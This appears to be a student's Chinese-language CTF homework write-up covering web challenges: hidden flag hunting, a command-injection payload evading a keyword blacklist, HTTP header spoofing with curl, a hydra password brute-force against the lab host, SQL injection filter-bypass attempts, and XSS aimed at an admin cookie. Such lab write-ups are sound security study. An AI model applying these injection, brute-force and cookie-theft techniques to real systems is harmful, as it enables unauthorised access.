---
# System prepended metadata

title: 攻防作業三［web ctf］

---

---
tag : attack and defense
---
# 攻防作業三［web ctf］
---
# 第一題[12000]：Gomai
 沒有說明，只有給一個網址，要求很簡單，找到flag就可以
- **第一部分**
    - 首先按f12，叫出開發者介面點開他的html檔裡面就可以找到flag的一小部分
- **第二部分**
    - 藏在.css檔的最下面
- **第三部分**
    - 藏在<span class="blue">cookie</span>裡面，可以從console裡面找也可以從network裡面去點
- **第四部分**
    - 進到network。<span class = "blue">要點進去後重新整理頁面才會出來</span>，最後在某張圖面找到了falg4的資訊
- **第五部分**就在index.js裡面！！因為他是程式碼所以看都不想看。從學長那邊學到了可以直接把東西貼在網頁的console，因此得知了b0cchi的數字。比較麻煩的是，要找到falg5需要去改程式碼：
    - .css裡面已經看到他有註解一段overflow: hidden scroll的程式，我也不知道改哪裡，反正就是把所有的hidden改成hidden scroll。
    - 第二個要改的就是.js檔裡的東西，因為b0cchi的數字很大，程式裡面寫到要大於b0cchi才會跑進趴伍的程式裡面，但是他那個loop每次都只＋1，所以我們把那個＋直接改成八位數((
    - 改好之後存檔（我把網頁載下來）接著打開改好的檔案，打開網頁裡的console，接著下拉卷軸（改hidden scroll的用意）滑個兩下就會大於b0cchi這時候console裡面就會出現第五段flag了！！
- 接下來就要拼接～～那第一部分很長，總之慢慢裁，裁到他跑出來的只剩下有意義的東西，然後把後面找到的也全部拼上去，要連在一起拼喔～然後就有解答了～～
    - 弄粗乃的東西長這樣：QURMezBLYWFzQU5fTjBfVDBNMERhY2hpX3kwQjBrYXxodHRwczovL3lvdXR1LmJlL0l3SHd2LWxjeGk0fQ==
    - 轉成utf-8後長這樣：
         >ADL{OKaasAN_NO_TOM0Dachi_0B0ka|https://youtu.be/lwHwv-Icxi4}
    
# 第二題[12001] bocchi search tool
考指令（？）
- **第一步**
    - 要求送一個json檔, head 要是bocchi
    - blacklist擋掉cat , flag , | 等關鍵字
    - 找到替換符號``
    - 因為cat 不能用，所以用了tac()
    - flag被擋掉所以用f[l]ag, []可以是個list, 用來躲掉blacklist
    - 前後要‘’, 因為code前後有加單引號所以要中斷掉不然會被判定成string
- **結果**
    - {"bocchi":"'\`tac f[l]ag\`'"}
        >ADL{k4njuku_m4ng0_https://youtu.be/B7BxrAAXl94}

# 第三題[12002] Monster
*考header*
- **第一部分**
    - **HINT** : <span class = "blue">STARRYBrowser</span>
    - 去看header裡面有關browser的資訊：User-Agent那欄改成STARRYBrowser
         >curl -H "User-Agent:STARRYBrowser" http://ctf.adl.tw:12002/
- **第二部分**
    - **HINT** : <span class = "blue">Your IP must be 127.0.0.1</span>
    - 再改header
    - >curl -H "User-Agent:STARRYBrowser" -H "X-Forwarded_for: 127.0.0.1" http://ctf.adl.tw:12002/
- **第三部分**
    - **HINT** : <span class = "blue">You must speak Japanese and you must be in Japan. </span>
         >curl -H "User-Agent:STARRYBrowser" -H "X-Forwarded_for: 127.0.0.1" -H "Accept-Language: ja-JP" http://ctf.adl.tw:12002/
- **第四部分**
    -  **HINT** : 
    - >      <span class = "blue"> Now, you must <a href="/admin">login</a><div style="opacity:0.025">bocchi & 🤘rockyou!!!</div> </span>
    - go to http://ctf.adl.tw:12002/admin
    - username 是bocchi
    - hydra -l bocchi -P /usr/share/wordlists/rockyou.txt 140.115.59.7 -s 12002 http-get /admin
    - password用hydra跑一整個晚上出來是bocchio
    ![](https://i.imgur.com/dYOTcEA.png)

    - 登入後會跳回12002
- **第五部分**
    - **HINT** : 
    ![](https://i.imgur.com/Fqwv5lt.png)
     在header的部分找到多出的Authorization, 把它加進curl的行列, 網址是用admin的
         >curl -H "User-Agent:STARRYBrowser" -H "X-Forwarded_for: 127.0.0.1" -H "Accept-Language: ja-JP" -H "Authorization: Basic Ym9jY2hpOmJvY2NoaW8=" http://ctf.adl.tw:12002/admin
    - **得到flag:**
        - <code>ADL{g0men_Im4OK4N3Naik4ra_0BOte_https://youtu.be/Gc3NKC8TQtY}</code>

# <span class = "orange">第四題[12003] ISOSTAGRAM - 1</span>

- 依提示前往/?source
- 在這邊找到username = 'kita0421'
- blacklist 基本sql語法
- 下方有sql語法 -> 推測為sql injection
- 避開blacklist : U**UNION**NION, A**AND**AND... etc
- 應該用union select, 但我們還沒找到方法
- 嘗試用order by 確認行數，但輸入 ' ORDER BY 1-- 就掛了
- 使用 ' UUNIONNION SSELECTELECT NULL-- 也一樣不行
- 
***- haven't figure out the solution***
 
# <span class = "orange">第五題[12004] ISOSTAGRAM - 2</span>
因為-1都沒有做出來所以沒做

# <span class = "orange">第六題[12005] FUKUWARAI</span>
根本看不懂介面 : )
# <span class = "orange">第七題[12006] Message board </span>
XSS
- 利用輸入撈admin cookie
- 一開始cookie只有userid，忘記輸入啥東西之後就跑出了sessionid
- 輸入有擋script, svg, image 等html tag，但是iframe可以用
- 利用雙寫可以繞過，但script沒法執行不知道是不是要用其他方法，svg和img雙寫後都可以執行alert
-   


<style>
.blue {
  color: blue;
}
</style>

<style>
.orange{
  color: orange;
}
</style>